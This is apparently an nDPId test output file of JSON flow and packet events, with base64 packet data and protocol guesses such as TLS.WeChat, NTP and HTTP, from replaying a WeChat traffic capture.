+00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":2,"flow_first_seen":1492167350333,"flow_last_seen":1492167350372,"flow_tot_l4_data_len":241,"flow_min_l4_data_len":41,"flow_max_l4_data_len":200,"flow_avg_l4_data_len":120,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":46078,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":2,"flow_first_seen":1492167849769,"flow_last_seen":1492167851204,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":8,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":12,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::842:a3f3:a286:6c5b","dst_ip":"ff02::2","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":2,"flow_first_seen":1492167650311,"flow_last_seen":1492167650345,"flow_tot_l4_data_len":241,"flow_min_l4_data_len":41,"flow_max_l4_data_len":200,"flow_avg_l4_data_len":120,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":60562,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":13,"flow_first_seen":1492167351067,"flow_last_seen":1492167352398,"flow_tot_l4_data_len":4370,"flow_min_l4_data_len":36,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":336,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"216.58.198.46","src_port":57591,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":2,"flow_first_seen":1492167795090,"flow_last_seen":1492167795099,"flow_tot_l4_data_len":68,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.252","src_port":57401,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":10,"flow_first_seen":1492167650348,"flow_last_seen":1492167650467,"flow_tot_l4_data_len":3632,"flow_min_l4_data_len":38,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":363,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"172.217.23.67","src_port":35601,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":14,"flow_first_seen":1492167788128,"flow_last_seen":1492167911211,"flow_tot_l4_data_len":672,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::91f9:3df3:7436:6cd6","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":2,"flow_first_seen":1492167795091,"flow_last_seen":1492167795098,"flow_tot_l4_data_len":72,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::91f9:3df3:7436:6cd6","dst_ip":"ff02::1:3","src_port":50440,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00520{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":6,"flow_first_seen":1492167377896,"flow_last_seen":1492167468048,"flow_tot_l4_data_len":192,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"216.58.205.142","src_port":49787,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"}} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":6,"flow_first_seen":1492167377896,"flow_last_seen":1492167468048,"flow_tot_l4_data_len":192,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"216.58.205.142","src_port":49787,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1492171154216,"flow_last_seen":0,"flow_tot_l4_data_len":1220,"flow_min_l4_data_len":1220,"flow_max_l4_data_len":1220,"flow_avg_l4_data_len":1220,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54183,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +02044{"flow_id":83,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171154,"pkt_ts_usec":216266,"pkt_caplen":1254,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1254,"pkt_l4_len":1220,"pkt":"8IQvSpdgeJKcD6iOCABFAATYpoxAAEAGahTAqAFny82XotOnAbtQhl2xjWp\/PoAYBaSJeAAAAQEICgA\/OhBF4BL0FwMDBJ8AAAAAAAAAk06IK7tTPaQ0tnXGeqHKil75lMj6OyIERVlvQ89pkJ\/5uFrYubJHeJqSrynvitkot5qunWtMUvVbyI8vjd8zycM9IsUAAB\/fKHCxwAngzbmC6gdk\/UoKTL4MIPiK4NVVPRz1DsYhuoql6sqmFMKJKaM6NXpyBkCtYpvlazDCWxllWCP\/i12XdKQQMbcGYN2wvAB3a6vg6oJPIx+XXkk4cY\/+EENsi+PDerl+pB2IlJMObTfaJBhM\/rJFUKMd1xriphMBzgM9PCE+gKKP\/k+AYg8NddY\/gnJX\/+unfAflhC1NZ1nFt2\/\/Y9gesYC0uhG0uLLlbtLmKF2MPjllgxHAEeq6L2rXw2szIJL4yllp+t9tcKCYfzVRzCQkgUtQQaP0YiRh1NQtDTvnuPpM8CS6YfFOx17PkSNzepokWNsrLXMtr9p2nc9zczirZ\/D9H9Xey3Xx0qFAN\/MVzWUXfWpSlTWrXzNWP5kDdvTYBf19VGMPfxtzLKYTLOd\/rVswJ6OAUsAdfTYAu7j6c4KJubGecouom8T9brd1TJm6pyXignKkiQR+nvp0U\/G\/NxhEcnKV91SvFM0mQxh+hfK10svoh9dj1Bq8+PvXaAQljscptiwRlr+X\/V1zPyapTZcrW9A2fGrnzKqVYJASiCPQWyYD8Mn6pda0e6knRW3Ae28WpLnmyjMKx4\/7dOqugSoKa3q7BQRxbcpbcOXlPFfrjt+CwbA3KCTzFvdocE4QeSDn8FuJ85HFummmQOxK7tDtjljV+L\/2nbiMgjTy6jJzYFwXGw6xLdoXOupF5XjIfHUSMeB+R0BhUmtVxXEWPPHfAVdVJcBt8uO5QMhp9jxrSrOX54VXB+P7Qj0VmSag75Jhz20k8Z3uI27cFcp7OjdlKhlEBtlzESNSQ8FGkqCxygPJSf0REdvr2uQA0ApTgzzF+s6YbdeH3vy1SJOH2fQsH4IeYeRjAPrh1RmlhN066XBLLeGtIiz1LEJx17TCB8c1JpUan\/1+JYoV0SCzXlaZWYybCxcBBIz\/2EdpG8hJzN4rtTVwf\/3OYFkhRTMbe1PHW9T5IfuTuKU76wWlDp+aujzjWp1vvFdq4bUrI6AdEquAU5C3BTnuLB9tqzlOb5nzcQjb4fPQCkUUcvHBPPLW9qrLyB05aTRG1W9ShnsibG\/AerW39YgPMVulkynnwtbGsYcGZs7KelCQXCLt3D6RU08N5SulLgw+o5aYItue0wJaW5VDEXxAVhsE4KU4+QsEuXkbd9rTsMt9Gf+Td49H8NzJEXxlYX\/ThtsZsn5doQpcdUcGVMiJrwpHQzTDWZLiBcd51axsLca9fP61xaeKb48j0Kb0TeXy0DcAfEDH4Sy29YAuNi7N4uKdxMrzHsqaQhCFI\/jmx6CqCWjy1zA6Ijzjpx6KTEeNxn3m7OTzuxckZQeS0ArKR7BX7UnCFIAenlvKt7e\/DzO9W1DndidXP+Qwf3XzvB+qvenTl6HWA0XtGBky3MCwBE5b++HXnyFlygjOvbY7LPZovuQtASvUqwAHPkuONuar\/2ZEP2TwCB+AOJYrpZq+HLOc"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1554,"source":"wechat.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1492171154792,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"64.233.167.188","src_port":54205,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00427{"flow_id":84,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1554,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171154,"pkt_ts_usec":792257,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0MxpAAEAGXPXAqAFnQOmnvNO9AbuA1BLzAh8CfoAQAT0MFQAAAQEICgA\/OqCGKY\/Q"} +00513{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1555,"source":"wechat.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1492171154216,"flow_last_seen":0,"flow_tot_l4_data_len":1220,"flow_min_l4_data_len":1220,"flow_max_l4_data_len":1220,"flow_avg_l4_data_len":1220,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54183,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"}} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1555,"source":"wechat.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1492171154216,"flow_last_seen":0,"flow_tot_l4_data_len":1220,"flow_min_l4_data_len":1220,"flow_max_l4_data_len":1220,"flow_avg_l4_data_len":1220,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54183,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00507{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1555,"source":"wechat.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1492171154792,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"64.233.167.188","src_port":54205,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"}} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1555,"source":"wechat.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1492171154792,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"64.233.167.188","src_port":54205,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1555,"source":"wechat.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1492171164904,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39207,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":85,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1555,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171164,"pkt_ts_usec":904228,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0HRVAAEAG2hjAqAFnX2UiIpknAFAjQjGZFOMj7IAQBf7IcQAAAQEICgA\/RIBwfIhZ"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1556,"source":"wechat.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1492171166312,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34996,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":86,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1556,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171166,"pkt_ts_usec":312260,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0\/65AAEAG93\/AqAFnX2UiIYi0AFB\/4ffk18M9+4AQCyPvSAAAAQEICgA\/ReBr6XAp"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1557,"source":"wechat.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1492171166440,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34999,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":87,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1557,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171166,"pkt_ts_usec":440257,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0jqRAAEAGaIrAqAFnX2UiIYi3AFBZ1tlh3d8I5IAQBaRnrgAAAQEICgA\/RgBr6XCp"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1558,"source":"wechat.pcap","alias":"nDPId-test","flow_id":88,"flow_packet_id":1,"flow_first_seen":1492171166696,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":35000,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":88,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1558,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171166,"pkt_ts_usec":696233,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0R7pAAEAGr3TAqAFnX2UiIYi4AFDlnJrhImFMS4AQCdyNBgAAAQEICgA\/RkBr6XGp"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1559,"source":"wechat.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1492171168104,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.34","src_port":39231,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00427{"flow_id":89,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1559,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171168,"pkt_ts_usec":104237,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA00nhAAEAGJLXAqAFnX2UiIpk\/AFBMVGJPaE9vZoAQBU7AugAAAQEICgA\/R6BwfJTZ"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1560,"source":"wechat.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1492171168104,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34981,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":90,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1560,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171168,"pkt_ts_usec":104293,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0JkNAAEAG0OvAqAFnX2UiIYilAFA23DHngeAL9oAQBaSDAQAAAQEICgA\/R6Br6Xcq"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1561,"source":"wechat.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1492171169377,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"193.204.114.233","src_port":37578,"dst_port":123,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":91,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1561,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171169,"pkt_ts_usec":377549,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"8IQvSpdgeJKcD6iOCABFEABMYzZAAEAR4JXAqAFnwcxy6ZLKAHsAOA7KIwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANybOCEWgBhs"} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1561,"source":"wechat.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1492171169377,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"193.204.114.233","src_port":37578,"dst_port":123,"l4_proto":"udp","ndpi": {"proto":"NTP","breed":"Acceptable","category":"System"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1562,"source":"wechat.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1492171171688,"flow_last_seen":0,"flow_tot_l4_data_len":1220,"flow_min_l4_data_len":1220,"flow_max_l4_data_len":1220,"flow_avg_l4_data_len":1220,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54183,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +02044{"flow_id":92,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1562,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171171,"pkt_ts_usec":688264,"pkt_caplen":1254,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1254,"pkt_l4_len":1220,"pkt":"8IQvSpdgeJKcD6iOCABFAATYpo1AAEAGahPAqAFny82XotOnAbtQhl2xjWp\/PoAYBaR4aAAAAQEICgA\/SyBF4BL0FwMDBJ8AAAAAAAAAk06IK7tTPaQ0tnXGeqHKil75lMj6OyIERVlvQ89pkJ\/5uFrYubJHeJqSrynvitkot5qunWtMUvVbyI8vjd8zycM9IsUAAB\/fKHCxwAngzbmC6gdk\/UoKTL4MIPiK4NVVPRz1DsYhuoql6sqmFMKJKaM6NXpyBkCtYpvlazDCWxllWCP\/i12XdKQQMbcGYN2wvAB3a6vg6oJPIx+XXkk4cY\/+EENsi+PDerl+pB2IlJMObTfaJBhM\/rJFUKMd1xriphMBzgM9PCE+gKKP\/k+AYg8NddY\/gnJX\/+unfAflhC1NZ1nFt2\/\/Y9gesYC0uhG0uLLlbtLmKF2MPjllgxHAEeq6L2rXw2szIJL4yllp+t9tcKCYfzVRzCQkgUtQQaP0YiRh1NQtDTvnuPpM8CS6YfFOx17PkSNzepokWNsrLXMtr9p2nc9zczirZ\/D9H9Xey3Xx0qFAN\/MVzWUXfWpSlTWrXzNWP5kDdvTYBf19VGMPfxtzLKYTLOd\/rVswJ6OAUsAdfTYAu7j6c4KJubGecouom8T9brd1TJm6pyXignKkiQR+nvp0U\/G\/NxhEcnKV91SvFM0mQxh+hfK10svoh9dj1Bq8+PvXaAQljscptiwRlr+X\/V1zPyapTZcrW9A2fGrnzKqVYJASiCPQWyYD8Mn6pda0e6knRW3Ae28WpLnmyjMKx4\/7dOqugSoKa3q7BQRxbcpbcOXlPFfrjt+CwbA3KCTzFvdocE4QeSDn8FuJ85HFummmQOxK7tDtjljV+L\/2nbiMgjTy6jJzYFwXGw6xLdoXOupF5XjIfHUSMeB+R0BhUmtVxXEWPPHfAVdVJcBt8uO5QMhp9jxrSrOX54VXB+P7Qj0VmSag75Jhz20k8Z3uI27cFcp7OjdlKhlEBtlzESNSQ8FGkqCxygPJSf0REdvr2uQA0ApTgzzF+s6YbdeH3vy1SJOH2fQsH4IeYeRjAPrh1RmlhN066XBLLeGtIiz1LEJx17TCB8c1JpUan\/1+JYoV0SCzXlaZWYybCxcBBIz\/2EdpG8hJzN4rtTVwf\/3OYFkhRTMbe1PHW9T5IfuTuKU76wWlDp+aujzjWp1vvFdq4bUrI6AdEquAU5C3BTnuLB9tqzlOb5nzcQjb4fPQCkUUcvHBPPLW9qrLyB05aTRG1W9ShnsibG\/AerW39YgPMVulkynnwtbGsYcGZs7KelCQXCLt3D6RU08N5SulLgw+o5aYItue0wJaW5VDEXxAVhsE4KU4+QsEuXkbd9rTsMt9Gf+Td49H8NzJEXxlYX\/ThtsZsn5doQpcdUcGVMiJrwpHQzTDWZLiBcd51axsLca9fP61xaeKb48j0Kb0TeXy0DcAfEDH4Sy29YAuNi7N4uKdxMrzHsqaQhCFI\/jmx6CqCWjy1zA6Ijzjpx6KTEeNxn3m7OTzuxckZQeS0ArKR7BX7UnCFIAenlvKt7e\/DzO9W1DndidXP+Qwf3XzvB+qvenTl6HWA0XtGBky3MCwBE5b++HXnyFlygjOvbY7LPZovuQtASvUqwAHPkuONuar\/2ZEP2TwCB+AOJYrpZq+HLOc"} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1563,"source":"wechat.pcap","alias":"nDPId-test","flow_id":91,"flow_packet_id":1,"flow_first_seen":1492171169377,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"193.204.114.233","src_port":37578,"dst_port":123,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00513{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1563,"source":"wechat.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1492171171688,"flow_last_seen":0,"flow_tot_l4_data_len":1220,"flow_min_l4_data_len":1220,"flow_max_l4_data_len":1220,"flow_avg_l4_data_len":1220,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54183,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"}} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1563,"source":"wechat.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1492171171688,"flow_last_seen":0,"flow_tot_l4_data_len":1220,"flow_min_l4_data_len":1220,"flow_max_l4_data_len":1220,"flow_avg_l4_data_len":1220,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54183,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00512{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1563,"source":"wechat.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1492171168104,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34981,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1563,"source":"wechat.pcap","alias":"nDPId-test","flow_id":90,"flow_packet_id":1,"flow_first_seen":1492171168104,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34981,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00512{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1563,"source":"wechat.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1492171166312,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34996,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1563,"source":"wechat.pcap","alias":"nDPId-test","flow_id":86,"flow_packet_id":1,"flow_first_seen":1492171166312,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34996,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00512{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1563,"source":"wechat.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1492171166440,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"95.101.34.33","src_port":34999,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} 